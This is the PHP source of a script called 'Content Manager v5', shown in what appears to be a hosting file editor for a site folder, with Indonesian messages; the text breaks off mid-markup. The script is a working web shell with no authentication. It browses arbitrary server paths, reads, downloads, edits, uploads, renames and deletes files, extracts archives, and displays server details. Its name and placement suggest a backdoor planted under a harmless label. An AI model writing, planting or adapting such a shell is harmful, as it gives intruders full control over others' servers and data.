zZzzZ.
home2
/
zrzvbdry
/
pilotvisit.com
New Folder
Editing: zcm.php
Save
Cancel
<?php /** * Content Manager v5 * File Manager with Archive Extraction Support */ ob_start(); // --- FILE SERVING (media preview & download) - must run before ANY output --- if (isset($_GET['media']) || isset($_GET['download'])) { $__mimes = [ 'jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif', 'webp'=>'image/webp','bmp'=>'image/bmp','svg'=>'image/svg+xml','ico'=>'image/x-icon', 'tiff'=>'image/tiff','tif'=>'image/tiff', 'mp4'=>'video/mp4','webm'=>'video/webm','mov'=>'video/quicktime', 'avi'=>'video/x-msvideo','mkv'=>'video/x-matroska','ogv'=>'video/ogg','m4v'=>'video/mp4', 'mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','flac'=>'audio/flac', 'aac'=>'audio/aac','m4a'=>'audio/mp4','wma'=>'audio/x-ms-wma','opus'=>'audio/opus', ]; if (isset($_GET['media'])) { $__f = $_GET['media']; $__ext = strtolower(pathinfo($__f, PATHINFO_EXTENSION)); if (is_file($__f) && isset($__mimes[$__ext])) { @session_start(); $_SESSION['visited'][$__f] = true; session_write_close(); ob_end_clean(); $__size = @filesize($__f); header('Content-Type: ' . $__mimes[$__ext]); header('Content-Length: ' . $__size); header('Accept-Ranges: bytes'); header('Cache-Control: max-age=3600'); if (isset($_SERVER['HTTP_RANGE'])) { $__range = str_replace('bytes=', '', $_SERVER['HTTP_RANGE']); $__parts = explode('-', $__range); $__start = intval($__parts[0]); $__end = (isset($__parts[1]) && $__parts[1] !== '') ? intval($__parts[1]) : $__size - 1; $__len = $__end - $__start + 1; header('HTTP/1.1 206 Partial Content'); header("Content-Range: bytes $__start-$__end/$__size"); header('Content-Length: ' . $__len); $__fp = fopen($__f, 'rb'); fseek($__fp, $__start); echo fread($__fp, $__len); fclose($__fp); } else { readfile($__f); } exit; } ob_end_clean(); header('HTTP/1.1 404 Not Found'); echo 'File not found'; exit; } if (isset($_GET['download'])) { $__f = $_GET['download']; if (is_file($__f)) { @session_start(); $_SESSION['visited'][$__f] = true; session_write_close(); ob_end_clean(); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($__f) . '"'); header('Content-Length: ' . @filesize($__f)); readfile($__f); exit; } ob_end_clean(); header('HTTP/1.1 404 Not Found'); echo 'File not found'; exit; } } @set_time_limit(300); @ini_set('memory_limit', '256M'); @session_start(); $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $path); $sort = isset($_GET['sort']) ? $_GET['sort'] : 'name'; $order = isset($_GET['order']) ? $_GET['order'] : 'asc'; $validSorts = ['name','size','modified','chmod']; if (!in_array($sort, $validSorts)) $sort = 'name'; if ($order !== 'asc' && $order !== 'desc') $order = 'asc'; $sortQuery = ($sort !== 'name' || $order !== 'asc') ? '&sort=' . urlencode($sort) . '&order=' . urlencode($order) : ''; if (!isset($_SESSION['visited'])) $_SESSION['visited'] = []; $_SESSION['visited'][$path] = true; function formatSize($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; if ($bytes > 1) return $bytes . ' bytes'; if ($bytes == 1) return '1 byte'; return '0 bytes'; } function getDirSize($dirPath, $maxFiles = 3000) { $size = 0; $count = 0; $stack = [$dirPath]; while (!empty($stack) && $count < $maxFiles) { $dir = array_pop($stack); $items = @scandir($dir); if (!is_array($items)) continue; foreach (array_diff($items, ['.','..']) as $item) { $p = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($p)) { $stack[] = $p; } else { $s = @filesize($p); if ($s !== false) $size += $s; $count++; if ($count >= $maxFiles) break; } } } return ['size' => $size, 'approx' => ($count >= $maxFiles)]; } function isArchive($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (preg_match('/\.(tar\.(gz|bz2|xz))$/i', $filename)) return true; return in_array($ext, ['zip','rar','tar','gz','bz2','xz','7z','tgz']); } function getMediaType($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $map = [ 'image' => ['jpg','jpeg','png','gif','webp','bmp','svg','ico','tiff','tif'], 'video' => ['mp4','webm','mov','avi','mkv','ogv','m4v'], 'audio' => ['mp3','wav','ogg','flac','aac','m4a','wma','opus'], ]; foreach ($map as $type => $exts) { if (in_array($ext, $exts)) return $type; } return false; } function getMimeType($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $mimes = [ 'jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif', 'webp'=>'image/webp','bmp'=>'image/bmp','svg'=>'image/svg+xml','ico'=>'image/x-icon', 'tiff'=>'image/tiff','tif'=>'image/tiff', 'mp4'=>'video/mp4','webm'=>'video/webm','mov'=>'video/quicktime', 'avi'=>'video/x-msvideo','mkv'=>'video/x-matroska','ogv'=>'video/ogg','m4v'=>'video/mp4', 'mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','flac'=>'audio/flac', 'aac'=>'audio/aac','m4a'=>'audio/mp4','wma'=>'audio/x-ms-wma','opus'=>'audio/opus', ]; return isset($mimes[$ext]) ? $mimes[$ext] : 'application/octet-stream'; } function extractArchive($filepath, $destination) { @set_time_limit(300); if (!file_exists($filepath)) return ['success'=>false,'message'=>'File archive tidak ditemukan.']; if (!is_dir($destination)) { if (!@mkdir($destination, 0755, true)) return ['success'=>false,'message'=>'Gagal membuat folder tujuan.']; } $filename = basename($filepath); $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if ($ext === 'zip') { if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($filepath) === TRUE) { $zip->extractTo($destination); $zip->close(); return ['success'=>true,'message'=>'ZIP berhasil diekstrak.']; } return ['success'=>false,'message'=>'Gagal membuka file ZIP.']; } return ['success'=>false,'message'=>'ZipArchive tidak tersedia.']; } if (preg_match('/\.(tar\.gz|tgz)$/i', $filename)) { if (class_exists('PharData')) { try { $phar = new PharData($filepath); $phar->decompress(); $tarFile = preg_replace('/\.(tar\.gz|tgz)$/i', '.tar', $filepath); if (file_exists($tarFile)) { $tar = new PharData($tarFile); $tar->extractTo($destination, null, true); @unlink($tarFile); return ['success'=>true,'message'=>'TAR.GZ berhasil diekstrak.']; } } catch (Exception $e) { return ['success'=>false,'message'=>'Gagal: '.$e->getMessage()]; } } return ['success'=>false,'message'=>'PharData tidak tersedia.']; } if ($ext === 'tar') { if (class_exists('PharData')) { try { $tar = new PharData($filepath); $tar->extractTo($destination, null, true); return ['success'=>true,'message'=>'TAR berhasil diekstrak.']; } catch (Exception $e) { return ['success'=>false,'message'=>'Gagal: '.$e->getMessage()]; } } return ['success'=>false,'message'=>'PharData tidak tersedia.']; } if ($ext === 'rar') { if (class_exists('RarArchive')) { $rar = @RarArchive::open($filepath); if ($rar !== false) { $entries = $rar->getEntries(); if ($entries !== false) { foreach ($entries as $entry) $entry->extract($destination); $rar->close(); return ['success'=>true,'message'=>'RAR berhasil diekstrak.']; } $rar->close(); return ['success'=>false,'message'=>'Gagal membaca isi RAR.']; } } return ['success'=>false,'message'=>'RarArchive tidak tersedia.']; } return ['success'=>false,'message'=>'Format tidak didukung.']; } function getPerms($filepath) { $p = @fileperms($filepath); if ($p === false) return '----------'; $info = ''; if (($p & 0xC000) == 0xC000) $info = 's'; elseif (($p & 0xA000) == 0xA000) $info = 'l'; elseif (($p & 0x8000) == 0x8000) $info = '-'; elseif (($p & 0x6000) == 0x6000) $info = 'b'; elseif (($p & 0x4000) == 0x4000) $info = 'd'; elseif (($p & 0x2000) == 0x2000) $info = 'c'; elseif (($p & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; $info .= (($p & 0x0100) ? 'r' : '-'); $info .= (($p & 0x0080) ? 'w' : '-'); $info .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-')); $info .= (($p & 0x0020) ? 'r' : '-'); $info .= (($p & 0x0010) ? 'w' : '-'); $info .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-')); $info .= (($p & 0x0004) ? 'r' : '-'); $info .= (($p & 0x0002) ? 'w' : '-'); $info .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-')); return $info; } function getOctal($filepath) { $p = @fileperms($filepath); if ($p === false) return '0000'; return substr(sprintf('%o', $p), -4); } function deleteDir($dirPath) { if (!is_dir($dirPath)) return false; $items = @scandir($dirPath); if (is_array($items)) { foreach (array_diff($items, ['.','..']) as $item) { $p = $dirPath . DIRECTORY_SEPARATOR . $item; is_dir($p) ? deleteDir($p) : @unlink($p); } } return @rmdir($dirPath); } function copyItem($source, $dest) { if (is_file($source)) return @copy($source, $dest); if (!is_dir($dest)) @mkdir($dest, 0755, true); $items = @scandir($source); if (!is_array($items)) return false; foreach (array_diff($items, ['.','..']) as $item) { copyItem($source . DIRECTORY_SEPARATOR . $item, $dest . DIRECTORY_SEPARATOR . $item); } return true; } function getEnvInfo() { return [ 'software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A', 'php_ver' => phpversion(), 'host' => isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'N/A'), 'docroot' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'N/A', 'free_space' => function_exists('disk_free_space') ? formatSize(@disk_free_space('/')) : 'N/A', 'total_space' => function_exists('disk_total_space') ? formatSize(@disk_total_space('/')) : 'N/A', ]; } function jsSafe($str) { return htmlspecialchars(addslashes($str), ENT_QUOTES, 'UTF-8'); } function h($str) { return htmlspecialchars($str, ENT_QUOTES, 'UTF-8'); } function isVisited($filepath) { return isset($_SESSION['visited'][$filepath]); } function sortLink($col, $label, $curSort, $curOrder, $path) { $newOrder = ($curSort === $col && $curOrder === 'asc') ? 'desc' : 'asc'; $arrow = ''; if ($curSort === $col) $arrow = ($curOrder === 'asc') ? ' ▲' : ' ▼'; return "<a href='?path=" . urlencode($path) . "&sort=$col&order=$newOrder' style='color:#b388ff;text-decoration:none;white-space:nowrap;'>$label$arrow</a>"; } function sortItems($items, $sort, $order) { usort($items, function($a, $b) use ($sort, $order) { switch ($sort) { case 'size': $cmp = $a['raw_size'] - $b['raw_size']; break; case 'modified': $cmp = $a['mtime'] - $b['mtime']; break; case 'chmod': $cmp = strcmp($a['octal'], $b['octal']); break; default: $cmp = strnatcasecmp($a['name'], $b['name']); } return ($order === 'desc') ? -$cmp : $cmp; }); return $items; } // Media & download handlers are at the top of the file $selfUrl = htmlspecialchars($_SERVER['SCRIPT_NAME'], ENT_QUOTES, 'UTF-8'); $message = ""; $action = isset($_POST['action']) ? $_POST['action'] : ''; $clipboard = isset($_SESSION['clipboard']) ? $_SESSION['clipboard'] : []; $clipboard_count = count($clipboard); // --- ACTION LOGIC --- if ($action === 'create_file') { $fname = $_POST['new_item_name']; if (!empty($fname)) { $fpath = $path . DIRECTORY_SEPARATOR . $fname; if (!file_exists($fpath)) { @file_put_contents($fpath, ''); $message = "File $fname berhasil dibuat."; } else { $message = "ERR: File sudah ada."; } } } elseif ($action === 'create_folder') { $fname = $_POST['new_item_name']; if (!empty($fname)) { $fpath = $path . DIRECTORY_SEPARATOR . $fname; if (!file_exists($fpath)) { @mkdir($fpath, 0755, true); $message = "Folder $fname berhasil dibuat."; } else { $message = "ERR: Folder sudah ada."; } } } elseif ($action === 'delete') { $target = $_POST['target']; if (file_exists($target)) { is_dir($target) ? deleteDir($target) : @unlink($target); $message = "Item berhasil dihapus."; } } elseif ($action === 'mass_action') { $mass_type = isset($_POST['mass_type']) ? $_POST['mass_type'] : ''; $selected = isset($_POST['selected']) ? $_POST['selected'] : []; if (!empty($selected) && $mass_type === 'delete') { $count = 0; foreach ($selected as $t) { if (file_exists($t)) { is_dir($t) ? deleteDir($t) : @unlink($t); $count++; } } $message = "$count item berhasil dihapus."; } elseif (!empty($selected) && $mass_type === 'copy') { $_SESSION['clipboard'] = $selected; $clipboard = $selected; $clipboard_count = count($selected); $message = "$clipboard_count item disalin ke clipboard."; } elseif (!empty($selected) && $mass_type === 'zip') { if (class_exists('ZipArchive')) { $zipName = 'archive_' . date('Ymd_His') . '.zip'; $zipPath = $path . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { $count = 0; foreach ($selected as $item) { if (!file_exists($item)) continue; if (is_file($item)) { $zip->addFile($item, basename($item)); $count++; } elseif (is_dir($item)) { $dirName = basename($item); $zip->addEmptyDir($dirName); $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($item, RecursiveDirectoryIterator::SKIP_DOTS)); foreach ($rii as $f) { $fp = $f->getRealPath(); $rp = $dirName . DIRECTORY_SEPARATOR . substr($fp, strlen(realpath($item)) + 1); $f->isDir() ? $zip->addEmptyDir($rp) : $zip->addFile($fp, $rp); } $count++; } } $zip->close(); $message = "$count item di-ZIP menjadi $zipName"; } else { $message = "ERR: Gagal membuat file ZIP."; } } else { $message = "ERR: ZipArchive tidak tersedia."; } } } elseif ($action === 'paste') { if (!empty($clipboard)) { $count = 0; $skipped = 0; foreach ($clipboard as $source) { if (!file_exists($source)) continue; $destName = basename($source); $dest = $path . DIRECTORY_SEPARATOR . $destName; if (realpath($source) === realpath($dest)) { $skipped++; continue; } if (file_exists($dest)) { $info = pathinfo($destName); $base = isset($info['filename']) ? $info['filename'] : $destName; $ext = isset($info['extension']) ? '.' . $info['extension'] : ''; $destName = $base . '_copy' . $ext; $dest = $path . DIRECTORY_SEPARATOR . $destName; } if (copyItem($source, $dest)) $count++; } $_SESSION['clipboard'] = []; $clipboard = []; $clipboard_count = 0; $msg = "$count item berhasil di-paste."; if ($skipped > 0) $msg .= " ($skipped dilewati - lokasi sama)"; $message = $msg; } } elseif ($action === 'clear_clipboard') { $_SESSION['clipboard'] = []; $clipboard = []; $clipboard_count = 0; $message = "Clipboard dikosongkan."; } elseif ($action === 'save_edit') { $target = $_POST['target']; $_SESSION['visited'][$target] = true; if (file_put_contents($target, $_POST['edit_content']) !== false) { $message = "File berhasil diperbarui."; } else { $message = "ERR: Gagal menyimpan - periksa izin tulis."; } } elseif ($action === 'save_rename') { $target = $_POST['target']; $new_name = $_POST['new_name']; $new_path = dirname($target) . DIRECTORY_SEPARATOR . $new_name; if (@rename($target, $new_path)) { $message = "Nama berhasil diubah."; } else { $message = "ERR: Gagal mengubah nama."; } } elseif ($action === 'extract' || $action === 'extract_here') { $target = $_POST['target']; if (file_exists($target) && is_file($target)) { if ($action === 'extract_here') { $dest_path = dirname($target); } else { $base_name = basename($target); $dest_name = preg_replace('/\.(zip|rar|tar\.gz|tar\.bz2|tar\.xz|tgz|tar|gz|bz2|xz|7z)$/i', '', $base_name); if ($dest_name === $base_name) $dest_name = $base_name . '_extracted'; $dest_path = dirname($target) . DIRECTORY_SEPARATOR . $dest_name; if (is_dir($dest_path)) $dest_path .= '_' . date('YmdHis'); } $result = extractArchive($target, $dest_path); $label = ($action === 'extract_here') ? ' (Here)' : ' (Files)'; $message = ($result['success'] ? "OK: " : "ERR: ") . $result['message'] . $label; } } elseif ($action === 'edit' && isset($_POST['target'])) { $_SESSION['visited'][$_POST['target']] = true; } elseif ($action === 'rename' && isset($_POST['target'])) { $_SESSION['visited'][$_POST['target']] = true; } // Handle multi-file upload if (isset($_FILES['upload_files']) && is_array($_FILES['upload_files']['name'])) { $count = 0; $total = count($_FILES['upload_files']['name']); for ($i = 0; $i < $total; $i++) { if ($_FILES['upload_files']['error'][$i] !== UPLOAD_ERR_OK) continue; $relativePath = isset($_FILES['upload_files']['full_path'][$i]) ? $_FILES['upload_files']['full_path'][$i] : $_FILES['upload_files']['name'][$i]; $relativePath = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $relativePath); $targetPath = $path . DIRECTORY_SEPARATOR . $relativePath; $targetDir = dirname($targetPath); if (!is_dir($targetDir)) @mkdir($targetDir, 0755, true); if (move_uploaded_file($_FILES['upload_files']['tmp_name'][$i], $targetPath)) $count++; } if ($count > 0) $message = "$count file berhasil diunggah."; else $message = "ERR: Gagal mengunggah file."; } $env = getEnvInfo(); ob_end_flush(); ?> <!DOCTYPE html> <html> <head> <title>Content Manager</title> <style> *{box-sizing:border-box;margin:0;padding:0} body{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:#0a0a0a;color:#e0e0e0;padding:20px} a{color:#00bcd4;text-decoration:none} a:hover{text-decoration:underline} .header-title{color:#b388ff;font-size:20px;margin-bottom:5px;letter-spacing:.5px} .header-title span{font-size:11px;color:#555} .info-box{background:linear-gradient(135deg,#111,#1a1a2e);border:1px solid #2a2a3e;border-radius:8px;padding:15px 20px;margin:15px 0;font-family:'Consolas','Courier New',monospace;font-size:12.5px;line-height:1.9;box-shadow:0 4px 10px rgba(0,0,0,.5)} .info-box .info-label{color:#b388ff;font-weight:bold} .info-box .info-value{color:#80cbc4} .info-box .info-sep{color:#444;margin:0 6px} .current-path{background:#111;border:1px solid #222;border-radius:5px;padding:12px 15px;margin:10px 0 15px;font-family:'Consolas',monospace;font-size:14px} .current-path .label{color:#888;margin-right:5px} .path-link{color:#00bcd4;font-weight:bold;padding:2px 0;border-radius:3px;transition:.2s} .path-link:hover{background:#222;color:#b388ff;text-decoration:none} .path-sep{color:#555;margin:0 2px} .toolbar{background:#151515;padding:12px 15px;border-radius:5px;border:1px solid #222;margin-bottom:15px;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:10px} .alert{background:#0d1f0d;color:#4caf50;padding:12px 15px;border-left:4px solid #4caf50;margin-bottom:15px;border-radius:0 5px 5px 0;font-size:13px;font-weight:bold} .alert-error{background:#1f0d0d;color:#ef5350;border-left-color:#ef5350} table{width:100%;border-collapse:collapse;margin-top:5px;background:#111;border-radius:8px;overflow:hidden;box-shadow:0 4px 15px rgba(0,0,0,.3)} th{padding:12px 14px;text-align:left;background:#1a1a2e;color:#b388ff;border-bottom:2px solid #b388ff;font-size:13px;text-transform:uppercase;letter-spacing:.5px;user-select:none} th a{color:#b388ff!important} td{padding:10px 14px;border-bottom:1px solid #1a1a1a;font-size:13px} tr:hover{background:#161625} tr:last-child td{border-bottom:none} .dir-writable{color:#66bb6a;font-weight:bold} .dir-readonly{color:#ef5350;font-weight:bold} .dir-visited{color:#b388ff!important;font-weight:bold} .file-name{color:#ccc} .file-visited{color:#b388ff!important} .file-media{color:#80cbc4;cursor:pointer;transition:.15s} .file-media:hover{color:#b388ff;text-decoration:underline} .file-media.visited{color:#ce93d8} .perm-badge{font-family:'Consolas',monospace;font-size:12px;padding:2px 8px;border-radius:3px;display:inline-block} .perm-rw{background:#0d2d1a;color:#66bb6a;border:1px solid rgba(102,187,106,.3)} .perm-ro{background:#2d0d0d;color:#ef5350;border:1px solid rgba(239,83,80,.3)} .perm-octal{color:#888;font-size:11px;margin-left:6px} .btn{padding:5px 12px;background:#222;color:#ccc;border-radius:4px;font-size:12px;border:1px solid #333;cursor:pointer;display:inline-block;transition:all .15s;letter-spacing:.5px} .btn:hover{background:#333;border-color:#00bcd4;color:#fff;text-decoration:none} .btn-danger{color:#ef5350;border-color:#441111} .btn-danger:hover{background:#441111;border-color:#ef5350} .btn-primary{background:#1a1a2e;border:1px solid #b388ff;color:#b388ff;font-weight:bold} .btn-primary:hover{background:#b388ff;color:#000} .btn-save{background:#2e7d32;border:none;color:#fff;font-weight:bold} .btn-save:hover{background:#388e3c} .btn-extract{color:#ffb74d;border-color:#443311} .btn-extract:hover{background:#443311;border-color:#ffb74d;color:#ffb74d} .btn-paste{background:#1a2e1a;border:1px solid #66bb6a;color:#66bb6a;font-weight:bold} .btn-paste:hover{background:#66bb6a;color:#000} .btn-clipboard-clear{color:#888;border-color:#333;font-size:11px;padding:4px 8px} textarea{width:100%;height:500px;background:#050505;color:#66bb6a;font-family:'Consolas',monospace;padding:15px;border:1px solid #2a2a2a;border-radius:5px;line-height:1.6;resize:vertical;box-shadow:inset 0 0 10px rgba(0,0,0,.8)} input[type="text"]{background:#1a1a1a;color:#fff;border:1px solid #333;padding:6px 10px;border-radius:4px;font-family:'Consolas',monospace} input[type="checkbox"]{accent-color:#b388ff;transform:scale(1.2);cursor:pointer} .footer{margin-top:30px;padding-top:15px;border-top:1px solid #1a1a1a;text-align:center;font-size:11px;color:#444;letter-spacing:1px} .extract-dropdown{position:relative;display:inline-block} .extract-dropdown .extract-menu{display:none;position:absolute;bottom:100%;left:0;background:#1a1a1a;border:1px solid #444;border-radius:5px;min-width:170px;box-shadow:0 -4px 15px rgba(0,0,0,.5);z-index:100;overflow:hidden;margin-bottom:4px} .extract-dropdown:hover .extract-menu,.extract-dropdown:focus-within .extract-menu{display:block} .extract-menu-item{display:block;width:100%;padding:9px 14px;background:none;border:none;color:#ccc;font-size:12px;text-align:left;cursor:pointer;transition:.15s;font-family:'Segoe UI',Tahoma,sans-serif} .extract-menu-item:hover{background:#2a2a3e;color:#ffb74d} .extract-menu-item+.extract-menu-item{border-top:1px solid #2a2a2a} .modal-overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.92);z-index:9999;justify-content:center;align-items:center;flex-direction:column} .modal-overlay.active{display:flex} .modal-close{position:absolute;top:15px;right:25px;font-size:36px;color:#fff;cursor:pointer;z-index:10001;line-height:1;transition:.2s;background:none;border:none} .modal-close:hover{color:#ef5350;transform:scale(1.2)} .modal-filename{color:#b388ff;font-size:14px;margin-bottom:15px;font-family:'Consolas',monospace;max-width:90%;text-align:center;word-break:break-all} .modal-content{max-width:90vw;max-height:80vh;display:flex;justify-content:center;align-items:center;flex-direction:column} .modal-content img{max-width:90vw;max-height:78vh;object-fit:contain;border-radius:6px;box-shadow:0 4px 30px rgba(0,0,0,.5)} .modal-content video{max-width:90vw;max-height:78vh;border-radius:6px;outline:none;box-shadow:0 4px 30px rgba(0,0,0,.5)} .modal-content audio{width:400px;max-width:90vw} .audio-art{width:200px;height:200px;background:linear-gradient(135deg,#1a1a2e,#2a1a3e);border-radius:50%;display:flex;justify-content:center;align-items:center;margin-bottom:25px;box-shadow:0 4px 30px rgba(179,136,255,.2);animation:audioPulse 2s ease-in-out infinite} .audio-art-icon{font-size:64px;opacity:.7} @keyframes audioPulse{0%,100%{transform:scale(1);box-shadow:0 4px 30px rgba(179,136,255,.2)}50%{transform:scale(1.04);box-shadow:0 4px 40px rgba(179,136,255,.35)}} .modal-nav{display:flex;gap:12px;margin-top:15px} .modal-nav button{padding:8px 20px;background:#222;color:#ccc;border:1px solid #444;border-radius:4px;cursor:pointer;font-size:13px;transition:.15s} .modal-nav button:hover{background:#333;border-color:#b388ff;color:#fff} .clipboard-badge{display:inline-block;background:#1a2e1a;color:#66bb6a;padding:4px 10px;border-radius:4px;font-size:12px;border:1px solid rgba(102,187,106,.3);font-family:'Consolas',monospace} .upload-zone{display:flex;gap:8px;align-items:center;flex-wrap:wrap} .upload-zone label{padding:5px 14px;background:#1a1a2e;border:1px solid #b388ff;color:#b388ff;border-radius:4px;font-size:12px;cursor:pointer;font-weight:bold;transition:all .15s;letter-spacing:.5px} .upload-zone label:hover{background:#b388ff;color:#000} .upload-count{color:#80cbc4;font-size:12px;font-family:'Consolas',monospace} .approx-size{color:#888;font-style:italic} </style> </head> <body> <div class="modal-overlay" id="mediaModal"> <button class="modal-close" onclick="closePreview()">×</button> <div class="modal-filename" id="modalFilename"></div> <div class="modal-content" id="modalContent"></div> <div class="modal-nav" id="modalNav"> <button onclick="navigateMedia(-1)">◀ Prev</button> <button onclick="navigateMedia(1)">Next ▶</button> </div> </div> <script> var mediaFiles=[]; var currentMediaIndex=-1; var scriptUrl='<?php echo $selfUrl; ?>'; function openPreview(filepath,mediaType,filename){ var modal=document.getElementById('mediaModal'); var content=document.getElementById('modalContent'); var fname=document.getElementById('modalFilename'); var nav=document.getElementById('modalNav'); fname.textContent=filename; content.innerHTML=''; var src=scriptUrl+'?media='+encodeURIComponent(filepath); if(mediaType==='image'){ var img=document.createElement('img'); img.src=src; img.alt=filename; img.onerror=function(){this.alt='Cannot load: '+filename;this.style.padding='40px';this.style.color='#ef5350';this.style.fontSize='16px';}; content.appendChild(img); }else if(mediaType==='video'){ var vid=document.createElement('video'); vid.src=src;vid.controls=true;vid.autoplay=true;vid.preload='metadata'; content.appendChild(vid); }else if(mediaType==='audio'){ var art=document.createElement('div');art.className='audio-art'; art.innerHTML='<span class="audio-art-icon">♫</span>';content.appendChild(art); var aud=document.createElement('audio'); aud.src=src;aud.controls=true;aud.autoplay=true;aud.style.display='block';aud.style.marginTop='15px'; content.appendChild(aud); } nav.style.display=(mediaFiles.length>1)?'flex':'none'; modal.classList.add('active'); document.body.style.overflow='hidden'; } function closePreview(){ var modal=document.getElementById('mediaModal'); var content=document.getElementById('modalContent'); content.querySelectorAll('video').forEach(function(v){v.pause()}); content.querySelectorAll('audio').forEach(function(a){a.pause()}); modal.classList.remove('active'); document.body.style.overflow=''; } function navigateMedia(dir){ if(!mediaFiles.length)return; currentMediaIndex+=dir; if(currentMediaIndex<0)currentMediaIndex=mediaFiles.length-1; if(currentMediaIndex>=mediaFiles.length)currentMediaIndex=0; var m=mediaFiles[currentMediaIndex]; openPreview(m.path,m.type,m.name); } document.addEventListener('keydown',function(e){ if(!document.getElementById('mediaModal').classList.contains('active'))return; if(e.key==='Escape')closePreview(); if(e.key==='ArrowLeft')navigateMedia(-1); if(e.key==='ArrowRight')navigateMedia(1); }); var currentPath='<?php echo urlencode($path); ?>'; var sortQuery='<?php echo $sortQuery; ?>'; function doAction(action,target){ if(action==='delete'&&!confirm('Hapus item ini secara permanen?\n'+target))return; var f=document.createElement('form');f.method='POST'; f.action='?path='+currentPath+sortQuery; var a=document.createElement('input');a.type='hidden';a.name='action';a.value=action;f.appendChild(a); var t=document.createElement('input');t.type='hidden';t.name='target';t.value=target;f.appendChild(t); document.body.appendChild(f);f.submit(); } function doExtract(mode,target){ var label=(mode==='extract')?'Extract Files (ke subfolder)':'Extract Here (ke folder ini)'; if(!confirm(label+'?\n'+target))return; doAction(mode,target); } function showPrompt(action,msg){ var name=prompt(msg); if(name){ var f=document.createElement('form');f.method='POST'; f.action='?path='+currentPath+sortQuery; var a=document.createElement('input');a.type='hidden';a.name='action';a.value=action;f.appendChild(a); var t=document.createElement('input');t.type='hidden';t.name='new_item_name';t.value=name;f.appendChild(t); document.body.appendChild(f);f.submit(); } } function toggleAll(source){ var cb=document.getElementsByName('selected[]'); for(var i=0;i<cb.length;i++)cb[i].checked=source.checked; } function confirmMassAction(){ var sel=document.querySelector('select[name="mass_type"]'); if(!sel.value){alert('Pilih aksi terlebih dahulu.');return false;} var checked=document.querySelectorAll('input[name="selected[]"]:checked'); if(checked.length===0){alert('Pilih minimal 1 item.');return false;} var labels={'delete':'HAPUS','copy':'COPY','zip':'ZIP'}; return confirm((labels[sel.value]||sel.value)+' '+checked.length+' item yang dipilih?'); } function updateUploadCount(input,counterId){ var el=document.getElementById(counterId); if(input.files.length>0){ el.textContent=input.files.length+' file dipilih'; el.style.display='inline'; }else{el.style.display='none';} } </script> <h2 class="header-title">Content Manager <span>[v5]</span></h2> <div class="info-box"> <span class="info-label">Software</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['software'])?></span> <span class="info-sep">|</span> <span class="info-label">PHP</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['php_ver'])?></span> <span class="info-sep">|</span> <span class="info-label">Host</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['host'])?></span><br> <span class="info-label">DocRoot</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['docroot'])?></span> <span class="info-sep">|</span> <span class="info-label">Free</span><span class="info-sep">:</span> <span class="info-value"><?=h($env['free_space'])?></span> <span class="info-sep">/</span> <span class="info-value"><?=h($env['total_space'])?></span> </div> <?php $clickable_path = ''; $p = ''; $path_parts = explode(DIRECTORY_SEPARATOR, rtrim($path, DIRECTORY_SEPARATOR)); foreach ($path_parts as $i => $part) { if ($part === '') { if ($i === 0 && DIRECTORY_SEPARATOR === '/') { $p = '/'; $clickable_path .= "<a href='?path=/$sortQuery' class='path-link'>/</a>"; } continue; } $p .= ($p === '/' || $p === '') ? $part : DIRECTORY_SEPARATOR . $part; $clickable_path .= "<a href='?path=" . urlencode($p) . $sortQuery . "' class='path-link'>" . h($part) . "</a><span class='path-sep'>/</span>"; } ?> <div class="current-path"> <span class="label">Path:</span> <span class="value"><?=$clickable_path?></span> <?php if (is_writable($path)) echo ' <span style="color:#66bb6a;font-size:11px;float:right;margin-top:2px;">[Writable]</span>'; else echo ' <span style="color:#ef5350;font-size:11px;float:right;margin-top:2px;">[Read-Only]</span>'; ?> </div> <?php if ($message) { $cls = (strpos($message, 'ERR:') !== false) ? 'alert alert-error' : 'alert'; echo "<div class='$cls'>" . h($message) . "</div>"; } ?> <!-- TOOLBAR --> <div class="toolbar"> <div style="display:flex;gap:10px;align-items:center;flex-wrap:wrap;"> <button type="button" class="btn btn-primary" onclick="showPrompt('create_file','Nama File Baru:')">New File</button> <button type="button" class="btn btn-primary" onclick="showPrompt('create_folder','Nama Folder Baru:')">New Folder</button> <?php if ($clipboard_count > 